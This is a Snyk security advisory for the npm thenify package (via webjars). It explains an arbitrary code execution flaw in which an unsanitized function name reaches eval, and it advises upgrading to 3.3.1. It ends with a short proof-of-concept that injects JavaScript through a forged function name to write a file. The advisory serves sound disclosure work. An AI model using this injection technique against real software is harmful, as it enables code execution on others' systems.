Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learningUpgrade org.webjars.npm:thenify
to version 3.3.1 or higher.
org.webjars.npm:thenify is a Promisify a callback-based function using any-promise.
Affected versions of this package are vulnerable to Arbitrary Code Execution. The name
argument provided to the package can be controlled by users without any sanitization, and this is provided to the eval
function without any sanitization.
var a = require("thenify");
var attack_code = "fs=require('fs');fs.writeFile('Song', 'test',function(){})";
function cur(){};
Object.defineProperty(cur, "name", { value: "fake() {" + attack_code + ";})();(function(){//"});
a(cur);